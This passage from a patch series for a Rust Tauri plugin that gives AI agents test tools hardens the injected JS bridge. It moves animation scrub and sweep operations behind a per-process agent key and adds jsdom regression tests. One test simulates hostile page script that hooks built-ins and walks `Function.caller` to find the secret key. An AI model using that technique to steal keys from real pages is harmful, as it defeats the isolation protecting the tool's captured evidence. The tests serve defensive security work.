assert!( + r["last_error"] + .as_str() + .is_some_and(|e| e.contains("x is not defined")), + "{r}" + ); + assert!(bridge.labels_of("x.ready").len() > 1, "did not poll"); +} From f051e3f90f360c9a4812096cafd38c3ff76ab161 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:15:39 +1000 Subject: [PATCH 131/167] fix(tools): assert_semantic / verify_state read `undefined` as null (R5B-ASSERT1) An expression evaluating to `undefined` failed with "expression did not return valid JSON", so `exists` / `falsy` could never be asserted against a missing property. `undefined` is now read as `null` (JSON has no undefined; JS `x == null`): `exists` false, `falsy` true, `equals null` and `type_is "null"` pass. Documented in the tool description (CLI fallback manifest regenerated). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/tools_fallback.json | 2 +- crates/victauri-plugin/src/mcp/mod.rs | 17 ++++-- .../src/mcp/tool_result_tests.rs | 53 +++++++++++++++++++ 3 files changed, 68 insertions(+), 4 deletions(-) diff --git a/crates/victauri-cli/src/tools_fallback.json b/crates/victauri-cli/src/tools_fallback.json index 58c146f7..67cd4b68 100644 --- a/crates/victauri-cli/src/tools_fallback.json +++ b/crates/victauri-cli/src/tools_fallback.json @@ -12,7 +12,7 @@ "name": "app_state" }, { - "description": "Run a semantic assertion: evaluate a JS expression and check the result against an expected condition. Conditions: equals, not_equals, contains, greater_than, less_than, truthy, falsy, exists, type_is.", + "description": "Run a semantic assertion: evaluate a JS expression and check the result against an expected condition. Conditions: equals, not_equals, contains, greater_than, less_than, truthy, falsy, exists, type_is. A result of `undefined` is treated as `null` (JSON has no undefined; like JS `x == null`): `exists` is false, `falsy` is true, `equals null` and `type_is \"null\"` pass.", "name": "assert_semantic" }, { diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 56f62c8f..371c2a4c 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -737,7 +737,7 @@ impl VictauriMcpHandler { Err(e) => return tool_error(format!("failed to evaluate frontend expression: {e}")), }; - let frontend_state: serde_json::Value = match serde_json::from_str(&frontend_json) { + let frontend_state: serde_json::Value = match parse_expression_value(&frontend_json) { Ok(v) => v, Err(e) => { return tool_error(format!( @@ -1020,7 +1020,7 @@ impl VictauriMcpHandler { } #[tool( - description = "Run a semantic assertion: evaluate a JS expression and check the result against an expected condition. Conditions: equals, not_equals, contains, greater_than, less_than, truthy, falsy, exists, type_is.", + description = "Run a semantic assertion: evaluate a JS expression and check the result against an expected condition. Conditions: equals, not_equals, contains, greater_than, less_than, truthy, falsy, exists, type_is. A result of `undefined` is treated as `null` (JSON has no undefined; like JS `x == null`): `exists` is false, `falsy` is true, `equals null` and `type_is \"null\"` pass.", annotations( read_only_hint = false, destructive_hint = true, @@ -1044,7 +1044,7 @@ impl VictauriMcpHandler { Err(e) => return tool_error(format!("failed to evaluate expression: {e}")), }; - let actual: serde_json::Value = match serde_json::from_str(&actual_json) { + let actual: serde_json::Value = match parse_expression_value(&actual_json) { Ok(v) => v, Err(e) => return tool_error(format!("expression did not return valid JSON: {e}")), }; @@ -5895,6 +5895,17 @@ fn expression_eval_code(expr: &str) -> String { format!("return (\n{body}\n);") } +/// Parse the value of an expression evaluated by [`expression_eval_code`]. `undefined` (which +/// the engine reports as the bare text `undefined`) is read as `null`: JSON has no `undefined`, +/// and `null` is what JavaScript's `x == null` groups it with — so `exists` is false and `falsy` +/// is true for it instead of the call failing as "not valid JSON". +fn parse_expression_value(raw: &str) -> Result { + if raw == "undefined" { + return Ok(serde_json::Value::Null); + } + serde_json::from_str(raw) +} + /// Statement keywords where a leading `return` would be a syntax error. Matched as whole words /// (followed by any non-identifier byte — `if\t(`, `const\n`, `function*` — or the end). const STMT_KEYWORDS: &[&str] = &[ diff --git a/crates/victauri-plugin/src/mcp/tool_result_tests.rs b/crates/victauri-plugin/src/mcp/tool_result_tests.rs index da66ed4c..32b7a7d4 100644 --- a/crates/victauri-plugin/src/mcp/tool_result_tests.rs +++ b/crates/victauri-plugin/src/mcp/tool_result_tests.rs @@ -280,3 +280,56 @@ async fn wait_for_expression_keeps_polling_through_a_page_exception() { ); assert!(bridge.labels_of("x.ready").len() > 1, "did not poll"); } + +// ── R5B-ASSERT1: `undefined` is a value assertions can test ──────────────────────────────── + +const UNDEFINED: &str = r#"{"__victauri_ok":null,"__victauri_type":"undefined"}"#; + +/// An expression that evaluates to `undefined` (a missing property, an absent global) used to +/// fail with "not valid JSON", so `exists` / `falsy` could not be asserted against it. It is +/// now read as `null` — what JSON makes of it, and what JavaScript's `x == null` says. +#[tokio::test] +async fn assert_semantic_treats_undefined_as_null() { + let state = state(); + let bridge = ScriptBridge::answering(&state, UNDEFINED); + let h = handler(&state, &bridge); + for (condition, expected, passes) in [ + ("exists", json!(null), false), + ("falsy", json!(null), true), + ("truthy", json!(null), false), + ("equals", json!(null), true), + ("not_equals", json!(null), false), + ("type_is", json!("null"), true), + ] { + let r = ok_json( + &call( + &h, + "assert_semantic", + json!({"expression": "window.nothingHere", "condition": condition, + "expected": expected}), + ) + .await, + ); + assert_eq!(r["passed"], passes, "{condition}: {r}"); + assert_eq!(r["actual"], json!(null), "{condition}: {r}"); + } +} + +/// `verify_state` reads an `undefined` frontend value the same way: it is compared (as `null`) +/// instead of failing the call. +#[tokio::test] +async fn verify_state_treats_undefined_as_null() { + let state = state(); + let bridge = ScriptBridge::answering(&state, UNDEFINED); + let h = handler(&state, &bridge); + let r = ok_json( + &call( + &h, + "verify_state", + json!({"frontend_expr": "window.nothingHere", "backend_state": {"a": 1}}), + ) + .await, + ); + assert_eq!(r["passed"], false, "{r}"); + assert_eq!(r["frontend_state"], json!(null), "{r}"); +} From f623128923704a1e11a845825479f711194de6e8 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:16:56 +1000 Subject: [PATCH 132/167] fix(bridge): animation scrub/sweep ops behind the agent key (R5B-SCRUBKEY1) scrubPrepare / scrubSeek / scrubRestore / installSweepRecorder / readSweep were on the page-visible window.__VICTAURI__, so page script could supersede the agent's armed sweep recorder, erase what it recorded (readSweep(true)), or pause/seek/resume animations under an in-progress scrub. They now live on the strict AGENT_OPS object reachable only with the per-process agent key, like the log/route/dialog ops. The animation tool calls them through the new agent_op_call_js() snippet (strict wrapper, key never on a page-visible object). listAnimations (animation list) stays public: it is read-only. docs/src/security.md updated. Tests (bridge_r5b_tests.rs): the page sees none of the five ops while the real tool snippets still work; page hooks on built-ins the ops call never see a caller. bridge_tests' agent-only test covers the five names. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/js_bridge.rs | 120 ++++--- crates/victauri-plugin/src/mcp/mod.rs | 10 +- .../victauri-plugin/tests/bridge_r5b_tests.rs | 298 ++++++++++++++++++ crates/victauri-plugin/tests/bridge_tests.rs | 7 +- docs/src/security.md | 13 +- 5 files changed, 384 insertions(+), 64 deletions(-) create mode 100644 crates/victauri-plugin/tests/bridge_r5b_tests.rs diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index e2b6cf4c..bb639934 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -60,7 +60,7 @@ pub fn init_script(caps: &BridgeCapacities) -> String { } /// Per-process secret that unlocks the bridge's agent-only operations (clearing logs and route -/// rules, dialog auto-responses). It is embedded in the init script's closure and in the +/// rules, dialog auto-responses, animation scrub / sweep recording). It is embedded in the init script's closure and in the /// scripts Victauri itself injects, never in anything page script can read, so a page cannot /// silently remove the agent's block/mock rules or erase captured evidence. #[doc(hidden)] @@ -80,6 +80,20 @@ pub fn agent_ops_js() -> String { format!("window.__VICTAURI__?._agent(\"{}\")", agent_key()) } +/// Eval-wrapper code that calls one agent-only bridge operation, `call` (e.g. +/// `scrubSeek(0.5)`), awaiting a returned promise; an object with `error` when the bridge is +/// not loaded. Used by the `animation` tool. `pub` only so the jsdom suite can run the real +/// snippets. +#[doc(hidden)] +#[must_use] +pub fn agent_op_call_js(call: &str) -> String { + format!( + "return await (function () {{ var o = {}; \ + return o ? o.{call} : {{ error: 'the Victauri bridge is not loaded in this page' }}; }})()", + agent_ops_js() + ) +} + // ── Eval scripts ───────────────────────────────────────────────────────────── // // The scripts an agent eval injects, in order: the liveness probe, then the wrapper around the @@ -1268,7 +1282,8 @@ const INIT_SCRIPT_BODY: &str = r#" return copyEntries(limit ? routeMatchLog.slice(-limit) : routeMatchLog); }, - // Agent-only operations (clear logs / route rules, dialog auto-responses) are NOT on + // Agent-only operations (clear logs / route rules, dialog auto-responses, animation + // scrub / sweep recorder) are NOT on // this page-visible object: page script could otherwise silently remove the agent's // block/mock rules, erase captured evidence, or flip dialog auto-answers. They are // handed out only for the per-process key Victauri embeds in its own injected scripts. @@ -1979,7 +1994,59 @@ const INIT_SCRIPT_BODY: &str = r#" }; }); }, + }; + + try { + Object.freeze(window.__VICTAURI__); + Object.defineProperty(window, '__VICTAURI__', { + value: window.__VICTAURI__, + configurable: false, + writable: false, + }); + } catch(e) {} + // Animation scrub / sweep-recorder state. Closure-held, not `window.__VICTAURI_SCRUB__` / + // `window.__VICTAURI_SWEEP__` globals, which page script could overwrite to fake the + // measured animation curve and jank statistics. + var scrubState = null; + var sweepState = null; + + // See `_agent`: reachable only with the per-process agent key. Built in a STRICT function so + // every op — and every callback an op creates — is strict: a page hook on a built-in an op + // calls then cannot reach the op through `.caller` (and call it without the key), nor the + // injected script beyond it whose source carries the key (R4-JS2). + var AGENT_OPS = (function() { + 'use strict'; + var AGENT_OPS = OBJ_CREATE(null); + AGENT_OPS.clearIpcLog = function() { + for (var i = networkLog.length - 1; i >= 0; i--) { + if (isIpcUrl(networkLog[i].url)) networkLog.splice(i, 1); + } + return { ok: true }; + }; + AGENT_OPS.clearNetworkLog = function() { networkLog.length = 0; return { ok: true }; }; + AGENT_OPS.clearConsoleLogs = function() { consoleLogs.length = 0; return { ok: true }; }; + AGENT_OPS.clearMutationLog = function() { mutationLog.length = 0; return { ok: true }; }; + AGENT_OPS.clearDialogLog = function() { dialogLog.length = 0; return { ok: true }; }; + AGENT_OPS.clearRoute = function(id) { + var before = routeRules.length; + routeRules = routeRules.filter(function(r) { return r.id !== id; }); + return { ok: true, removed: before - routeRules.length }; + }; + AGENT_OPS.clearRoutes = function() { + var n = routeRules.length; + routeRules = []; + return { ok: true, removed: n }; + }; + AGENT_OPS.setDialogAutoResponse = function(type, action, text) { + dialogAutoResponses[type] = { action: action, text: text }; + return { ok: true }; + }; + // Animation scrub + sweep recorder (R5B-SCRUBKEY1). Agent-only: from page script, + // `installSweepRecorder` superseded the agent's armed recorder, `readSweep(true)` erased what + // it had recorded, and `scrubPrepare` / `scrubSeek` / `scrubRestore` paused, moved and + // resumed the page's animations under the agent. `listAnimations` stays public (read-only). + ASSIGN(AGENT_OPS, { // ── Deterministic animation scrubbing ──────────────────────────────── // Pause the target's WAAPI animations and hold state across calls so the // Rust side can seek to evenly-spaced progress points and capture a @@ -2177,54 +2244,7 @@ const INIT_SCRIPT_BODY: &str = r#" } return res; }, - }; - - try { - Object.freeze(window.__VICTAURI__); - Object.defineProperty(window, '__VICTAURI__', { - value: window.__VICTAURI__, - configurable: false, - writable: false, - }); - } catch(e) {} - - // Animation scrub / sweep-recorder state. Closure-held, not `window.__VICTAURI_SCRUB__` / - // `window.__VICTAURI_SWEEP__` globals, which page script could overwrite to fake the - // measured animation curve and jank statistics. - var scrubState = null; - var sweepState = null; - - // See `_agent`: reachable only with the per-process agent key. Built in a STRICT function so - // every op — and every callback an op creates — is strict: a page hook on a built-in an op - // calls then cannot reach the op through `.caller` (and call it without the key), nor the - // injected script beyond it whose source carries the key (R4-JS2). - var AGENT_OPS = (function() { - 'use strict'; - var AGENT_OPS = OBJ_CREATE(null); - AGENT_OPS.clearIpcLog = function() { - for (var i = networkLog.length - 1; i >= 0; i--) { - if (isIpcUrl(networkLog[i].url)) networkLog.splice(i, 1); - } - return { ok: true }; - }; - AGENT_OPS.clearNetworkLog = function() { networkLog.length = 0; return { ok: true }; }; - AGENT_OPS.clearConsoleLogs = function() { consoleLogs.length = 0; return { ok: true }; }; - AGENT_OPS.clearMutationLog = function() { mutationLog.length = 0; return { ok: true }; }; - AGENT_OPS.clearDialogLog = function() { dialogLog.length = 0; return { ok: true }; }; - AGENT_OPS.clearRoute = function(id) { - var before = routeRules.length; - routeRules = routeRules.filter(function(r) { return r.id !== id; }); - return { ok: true, removed: before - routeRules.length }; - }; - AGENT_OPS.clearRoutes = function() { - var n = routeRules.length; - routeRules = []; - return { ok: true, removed: n }; - }; - AGENT_OPS.setDialogAutoResponse = function(type, action, text) { - dialogAutoResponses[type] = { action: action, text: text }; - return { ok: true }; - }; + }); return Object.freeze(AGENT_OPS); })(); diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index a8f612a4..e3ee3faa 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -2998,10 +2998,10 @@ impl VictauriMcpHandler { .as_deref() .map_or_else(|| "null".to_string(), js_string); let code = if params.record.unwrap_or(false) { - format!("return window.__VICTAURI__.installSweepRecorder({sel})") + crate::js_bridge::agent_op_call_js(&format!("installSweepRecorder({sel})")) } else { let clear = params.clear.unwrap_or(false); - format!("return window.__VICTAURI__.readSweep({clear})") + crate::js_bridge::agent_op_call_js(&format!("readSweep({clear})")) }; match self.eval_with_return(&code, label).await { Ok(result_str) => { @@ -3026,7 +3026,7 @@ impl VictauriMcpHandler { .map_or_else(|| "null".to_string(), js_string); // 1. Prepare: pause the target's animations, learn the timeline length. - let prep_code = format!("return await window.__VICTAURI__.scrubPrepare({sel})"); + let prep_code = crate::js_bridge::agent_op_call_js(&format!("scrubPrepare({sel})")); let prep_v = match self.eval_with_return(&prep_code, label).await { Ok(s) => { serde_json::from_str::(&s).unwrap_or(serde_json::Value::Null) @@ -3046,7 +3046,7 @@ impl VictauriMcpHandler { .unwrap_or_else(|| crate::filmstrip::default_cols(n)) }; let resume = params.restore.unwrap_or(true); - let restore_code = format!("return window.__VICTAURI__.scrubRestore({resume})"); + let restore_code = crate::js_bridge::agent_op_call_js(&format!("scrubRestore({resume})")); let mut curve: Vec = Vec::with_capacity(points); let mut frames: Vec = Vec::new(); let mut manifest: Vec = Vec::new(); @@ -3057,7 +3057,7 @@ impl VictauriMcpHandler { for i in 0..points { #[allow(clippy::cast_precision_loss)] let progress = i as f64 / (points - 1) as f64; - let seek_code = format!("return await window.__VICTAURI__.scrubSeek({progress})"); + let seek_code = crate::js_bridge::agent_op_call_js(&format!("scrubSeek({progress})")); match self.eval_with_return(&seek_code, label).await { Ok(s) => { let v = serde_json::from_str::(&s) diff --git a/crates/victauri-plugin/tests/bridge_r5b_tests.rs b/crates/victauri-plugin/tests/bridge_r5b_tests.rs new file mode 100644 index 00000000..9808ad04 --- /dev/null +++ b/crates/victauri-plugin/tests/bridge_r5b_tests.rs @@ -0,0 +1,298 @@ +//! Round-5b audit regressions (Low findings) for the injected JS bridge (jsdom via Node.js). +//! +//! Same harness as `bridge_tests.rs` (`tests/bridge_tests/run_tests.js`): each test serializes +//! a batch of JS cases, runs them in a fresh jsdom with the real bridge injected, and asserts +//! on the results. Set `VICTAURI_REQUIRE_JSDOM=1` (CI sets `CI`) so a missing jsdom fails +//! instead of skipping. + +use serde::{Deserialize, Serialize}; +use std::io::Write; +use std::path::PathBuf; +use std::process::Command; + +use victauri_plugin::js_bridge::{ + BridgeCapacities, agent_op_call_js, eval_wrapper_script, init_script, +}; + +#[derive(Serialize)] +struct TestDef { + bridge_script: String, + setup_html: String, + #[serde(skip_serializing_if = "Option::is_none")] + setup_js: Option, + tests: Vec, +} + +#[derive(Serialize)] +struct TestCase { + name: String, + code: String, + /// Expose Node's `Request` / `Response` / `Headers` to the page before the bridge loads. + #[serde(skip_serializing_if = "std::ops::Not::not")] + node_web_api: bool, +} + +#[derive(Deserialize, Debug)] +struct TestResult { + name: String, + passed: bool, + result: Option, + error: Option, +} + +fn runner_dir() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("tests") + .join("bridge_tests") +} + +fn run_tests(def: &TestDef) -> Option> { + if !runner_dir().join("node_modules").join("jsdom").exists() { + assert!( + std::env::var_os("CI").is_none() + && std::env::var_os("VICTAURI_REQUIRE_JSDOM").is_none(), + "jsdom is not installed, so the JS bridge tests cannot run: \ + `npm ci` in crates/victauri-plugin/tests/bridge_tests/" + ); + eprintln!("SKIP: jsdom not installed (run `npm ci` in tests/bridge_tests/)"); + return None; + } + let mut tmp = tempfile::NamedTempFile::new().expect("create temp file"); + let json = serde_json::to_string(def).expect("serialize test def"); + tmp.write_all(json.as_bytes()).expect("write test def"); + tmp.flush().expect("flush temp file"); + let output = Command::new("node") + .arg(runner_dir().join("run_tests.js")) + .arg(tmp.path()) + .output() + .expect("failed to run node"); + let stdout = String::from_utf8_lossy(&output.stdout); + let stderr = String::from_utf8_lossy(&output.stderr); + let line = stdout + .lines() + .find(|l| l.starts_with("VICTAURI_RESULTS:")) + .unwrap_or_else(|| panic!("No VICTAURI_RESULTS line.\nstdout: {stdout}\nstderr: {stderr}")); + Some( + serde_json::from_str(&line["VICTAURI_RESULTS:".len()..]) + .unwrap_or_else(|e| panic!("bad results JSON: {e}\nraw: {line}")), + ) +} + +fn assert_all_pass(results: &[TestResult]) { + let failures: Vec = results + .iter() + .filter(|r| !r.passed) + .map(|r| format!(" FAIL: {} => {:?}", r.name, r.error)) + .collect(); + assert!( + failures.is_empty(), + "Test failures:\n{}", + failures.join("\n") + ); +} + +fn case(name: &str, code: &str) -> TestCase { + TestCase { + name: name.into(), + code: code.into(), + node_web_api: false, + } +} + +fn web_case(name: &str, code: &str) -> TestCase { + TestCase { + node_web_api: true, + ..case(name, code) + } +} + +fn def(setup_js: Option, tests: Vec) -> TestDef { + TestDef { + bridge_script: init_script(&BridgeCapacities::default()), + setup_html: r#"R5B
    "# + .to_string(), + setup_js, + tests, + } +} + +fn result(results: &[TestResult], i: usize) -> serde_json::Value { + results[i].result.clone().unwrap_or_default() +} + +/// Records every eval outcome delivered through a Tauri-like `invoke` stub, per id, parsed. +const DELIVERY_STUB: &str = r" +window.__delivered = {}; +window.__TAURI_INTERNALS__ = { invoke: function(cmd, args) { + var a = JSON.parse(JSON.stringify(args)); + try { window.__delivered[a.id] = JSON.parse(a.result); } catch (e) { window.__delivered[a.id] = a.result; } + return Promise.resolve(null); +} }; +window.__run = function(s) { (0, eval)(s); }; +window.__sleep = function(ms) { return new Promise(function(r) { setTimeout(r, ms); }); }; +"; + +fn scripts_js(scripts: &[(&str, String)]) -> String { + let mut js = String::from("window.__S = {};\n"); + for (name, script) in scripts { + js.push_str(&format!( + "window.__S[{}] = {};\n", + serde_json::to_string(name).unwrap(), + serde_json::to_string(script).unwrap() + )); + } + js +} + +// ── R5B-SCRUBKEY1: animation scrub / sweep ops are agent-only ──────────────── + +/// `scrubPrepare` / `scrubSeek` / `scrubRestore` / `installSweepRecorder` / `readSweep` were on +/// the page-visible `window.__VICTAURI__`, so page script could erase or replace a sweep +/// recording (`installSweepRecorder` supersedes the agent's recorder, `readSweep(true)` clears +/// it) or drive a scrub. They now sit behind the agent key like the other agent-only ops, and +/// the exact snippets the `animation` tool sends still work. +#[test] +fn r5b_scrubkey1_animation_ops_are_agent_only() { + let scripts = [ + ( + "arm", + eval_wrapper_script("arm", &agent_op_call_js("installSweepRecorder(null)")), + ), + ( + "read", + eval_wrapper_script("read", &agent_op_call_js("readSweep(false)")), + ), + ( + "prep", + eval_wrapper_script("prep", &agent_op_call_js("scrubPrepare(null)")), + ), + ( + "seek", + eval_wrapper_script("seek", &agent_op_call_js("scrubSeek(0.5)")), + ), + ( + "restore", + eval_wrapper_script("restore", &agent_op_call_js("scrubRestore(true)")), + ), + ]; + let mut setup = String::from(DELIVERY_STUB); + setup.push_str(&scripts_js(&scripts)); + let def = def( + Some(setup), + vec![case( + "page script cannot reach the ops; the agent snippets can", + r" + var V = window.__VICTAURI__; + var names = ['scrubPrepare', 'scrubSeek', 'scrubRestore', 'installSweepRecorder', 'readSweep']; + var exposed = names.filter(function(n) { return n in V; }); + __run(__S.arm); + await __sleep(30); + __run(__S.read); + __run(__S.prep); + __run(__S.seek); + __run(__S.restore); + await __sleep(50); + var d = window.__delivered; + return { + exposed: exposed, + listed: typeof V.listAnimations, + arm: d.arm && d.arm.__victauri_ok, + read: d.read && d.read.__victauri_ok, + prep: d.prep && d.prep.__victauri_ok, + seek: d.seek && d.seek.__victauri_ok, + restore: d.restore && d.restore.__victauri_ok, + }; + ", + )], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = result(&results, 0); + assert_eq!(r["exposed"], serde_json::json!([]), "{r}"); + assert_eq!( + r["listed"], "function", + "`animation list` stays public: {r}" + ); + assert_eq!(r["arm"]["installed"], true, "{r}"); + assert_eq!(r["read"]["armed"], true, "{r}"); + assert_eq!(r["read"]["session_count"], 0, "{r}"); + // jsdom runs no animations: prepare reports that, seek reports "not prepared". + assert!(r["prep"]["error"].as_str().is_some(), "{r}"); + assert!(r["seek"]["error"].as_str().is_some(), "{r}"); + assert_eq!(r["restore"]["restored"], false, "{r}"); +} + +/// The moved ops run strict, so a page hook on a built-in they call cannot walk `.caller` to +/// an op (callable without the key) or to the injected script whose source holds the key. +#[test] +fn r5b_scrubkey1_page_hooks_never_reach_the_key_through_animation_ops() { + let scripts = [ + ( + "arm", + eval_wrapper_script("arm", &agent_op_call_js("installSweepRecorder('#app')")), + ), + ( + "read", + eval_wrapper_script("read", &agent_op_call_js("readSweep(true)")), + ), + ( + "prep", + eval_wrapper_script("prep", &agent_op_call_js("scrubPrepare('#app')")), + ), + ]; + let mut setup = String::from(DELIVERY_STUB); + setup.push_str(&scripts_js(&scripts)); + setup.push_str(&format!( + "window.__KEY = {};\n", + serde_json::to_string(victauri_plugin::js_bridge::agent_key()).unwrap() + )); + let def = def( + Some(setup), + vec![case( + "no hook sees a caller", + r" + var reach = [], calls = 0; + function hook(obj, name) { + var orig = obj[name]; + obj[name] = function h() { + calls++; + try { + for (var c = h.caller, n = 0; c && n < 20; c = c.caller, n++) { + reach.push(name + ':' + (('' + c).indexOf(window.__KEY) !== -1 ? 'KEY' : 'fn')); + } + } catch (e) {} + return orig.apply(this, arguments); + }; + } + hook(document, 'querySelector'); + hook(window, 'requestAnimationFrame'); + hook(Array.prototype, 'map'); + hook(Array.prototype, 'filter'); + hook(Promise, 'all'); + window.getComputedStyle = (function(o) { return function gcs(el) { + try { if (gcs.caller) reach.push('gcs:fn'); } catch (e) {} + return o.call(window, el); + }; })(window.getComputedStyle); + __run(__S.arm); + await __sleep(60); + __run(__S.read); + __run(__S.prep); + await __sleep(60); + return { reach: reach, calls: calls, read: window.__delivered.read && window.__delivered.read.__victauri_ok }; + ", + )], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = result(&results, 0); + assert_eq!(r["reach"], serde_json::json!([]), "{r}"); + assert_eq!(r["read"]["armed"], true, "the ops really ran: {r}"); + assert!( + r["calls"].as_u64().unwrap_or(0) > 0, + "the hooks were exercised: {r}" + ); +} diff --git a/crates/victauri-plugin/tests/bridge_tests.rs b/crates/victauri-plugin/tests/bridge_tests.rs index 49f42b71..85f1f031 100644 --- a/crates/victauri-plugin/tests/bridge_tests.rs +++ b/crates/victauri-plugin/tests/bridge_tests.rs @@ -5539,7 +5539,8 @@ fn agent_only_controls_are_not_page_callable() { r" var b = window.__VICTAURI__; var names = ['clearIpcLog','clearConsoleLogs','clearMutationLog','clearNetworkLog', - 'clearDialogLog','setDialogAutoResponse','clearRoute','clearRoutes']; + 'clearDialogLog','setDialogAutoResponse','clearRoute','clearRoutes', + 'scrubPrepare','scrubSeek','scrubRestore','installSweepRecorder','readSweep']; var exposed = names.filter(function(n) { return n in b; }); b.addRoute({ pattern: '/blocked', action: 'block' }); var wrongKey = b._agent('guess'); @@ -5552,9 +5553,9 @@ fn agent_only_controls_are_not_page_callable() { ops.setDialogAutoResponse('confirm', 'accept'); var confirmAfter = window.confirm('sure?'); // Sweep/scrub state is closure-held: a page-planted global is ignored. - b.installSweepRecorder(null); + ops.installSweepRecorder(null); window.__VICTAURI_SWEEP__ = { sessions: [{ samples: [], timing: {}, keyframes: [] }], stopped: false }; - var sweep = b.readSweep(false); + var sweep = ops.readSweep(false); return { exposed: exposed, wrong_key: wrongKey, no_key: noKey, frozen: frozen, rules_before: rulesBefore, removed: cleared.removed, rules_after: b.getRouteRules().length, diff --git a/docs/src/security.md b/docs/src/security.md index 5aac6b97..52d554ec 100644 --- a/docs/src/security.md +++ b/docs/src/security.md @@ -388,12 +388,13 @@ read it, rewrite it or drop it. That means same-window script can: What it still cannot do: -- **Read the agent key or call agent-only operations.** Clearing logs and network routes and - dialog auto-answers are not on the page-visible `window.__VICTAURI__`; they need a per-process - key that only the plugin's own injected scripts carry, and the functions that hold it are strict - mode so a page hook cannot reach them through `Function.caller`. (The animation `scrub` / `sample` - helpers — `scrubPrepare`, `scrubSeek`, `scrubRestore`, `installSweepRecorder`, `readSweep` — are - on the public `window.__VICTAURI__` and are **not** behind the key: page script can call them.) +- **Read the agent key or call agent-only operations.** Clearing logs and network routes, + dialog auto-answers, and the animation `scrub` / `sample` helpers (`scrubPrepare`, `scrubSeek`, + `scrubRestore`, `installSweepRecorder`, `readSweep` — so page script cannot replace or erase a + sweep recording, or pause and seek animations under the agent) are not on the page-visible + `window.__VICTAURI__`; they need a per-process key that only the plugin's own injected scripts + carry, and the functions that hold it are strict mode so a page hook cannot reach them through + `Function.caller`. (`animation list` reads through the public, read-only `listAnimations`.) - **Reach other windows or out-of-process state.** Another window's results, and Rust-side tools (`query_db`, `app_state`, the registry, memory stats, window state), do not pass through that page, so they are unaffected. From 53ba3e465005ee9e181b5f049c5ad538506cfa42 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:17:18 +1000 Subject: [PATCH 133/167] fix(plugin): adopt the real main thread when setup runs off it (R5B-MAIN1) Plugin setup recorded "the main thread" and installed the main-thread app handle on whatever thread setup ran on. Tauri lets an app register a plugin at runtime from a background thread (AppHandle::plugin), and setup then runs there: the wrong thread was recorded, the handle landed in that thread's thread-local, and every later on_main round trip failed with "the main-thread app handle is not installed". bridge::adopt_main_thread learns the real main thread from Tauri itself (run_on_main_thread runs inline on the main thread and queues otherwise): on the main thread it adopts in place; off it, recording and installation are posted to the main thread (with one clone made at setup, the same kind setup already makes there) and a warning is logged. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/bridge.rs | 171 +++++++++++++++++++++++++-- crates/victauri-plugin/src/lib.rs | 23 +++- 2 files changed, 182 insertions(+), 12 deletions(-) diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index 6d715a71..50724930 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -271,17 +271,18 @@ impl Drop for InFlightGuard { } } -/// The Tauri main (UI) thread, recorded by the plugin's `setup` (which Tauri runs there). +/// The Tauri main (UI) thread, recorded ON it by [`adopt_main_thread`] (from plugin `setup`). static MAIN_THREAD: std::sync::OnceLock = std::sync::OnceLock::new(); -/// Record the calling thread as the Tauri main thread. Called once from plugin `setup`. -pub(crate) fn record_main_thread() { +/// Record the calling thread as the Tauri main thread. Called on the main thread by +/// [`adopt_main_thread`]. +fn record_main_thread() { let _ = MAIN_THREAD.set(std::thread::current().id()); } thread_local! { /// An app handle owned by the main thread and only ever cloned or dropped there (installed - /// by [`install_main_app`] from plugin `setup`). `on_main` closures take their handle from + /// by [`install_main_app`] via [`adopt_main_thread`]). `on_main` closures take their handle from /// here instead of from a clone made on the calling thread — see [`on_main`] for why a /// Tauri handle must never be cloned or dropped off the main thread. static MAIN_APP: std::cell::RefCell>> = @@ -289,12 +290,79 @@ thread_local! { } /// Keep a main-thread-owned clone of `app` for `on_main` closures. Must be called ON the main -/// thread (plugin `setup`, which Tauri runs there); a call from any other thread stores into that -/// thread's slot, which no closure ever reads. -pub(crate) fn install_main_app(app: &tauri::AppHandle) { +/// thread (see [`adopt_main_thread`]); a call from any other thread stores into that thread's +/// slot, which no closure ever reads. +fn install_main_app(app: &tauri::AppHandle) { MAIN_APP.with(|slot| *slot.borrow_mut() = Some(Box::new(app.clone()))); } +/// How plugin setup adopted the Tauri main thread (see [`adopt_main_thread`]). +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum MainThreadAdoption { + /// Setup ran on the main thread: recorded and installed in place. + Inline, + /// Setup ran on another thread; recording and installation were posted to the main thread. + Posted, +} + +/// Record the Tauri main thread and give it its own app handle ([`record_main_thread`] + +/// [`install_main_app`]) — ON the main thread, wherever plugin `setup` happens to run. +/// +/// Tauri normally runs plugin `setup` on the main thread, but an app may also register a plugin +/// at runtime from a background thread (`AppHandle::plugin`), and `setup` then runs THERE. +/// Recording that thread as "main" and installing the handle in its thread-local slot would +/// leave every later [`on_main`] round trip failing with "the main-thread app handle is not +/// installed" (the closures read the real main thread's slot, which stays empty). +/// +/// Which thread is the main one is learned from Tauri itself: `run_on_main_thread` runs a +/// closure inline when called ON the main thread and queues it 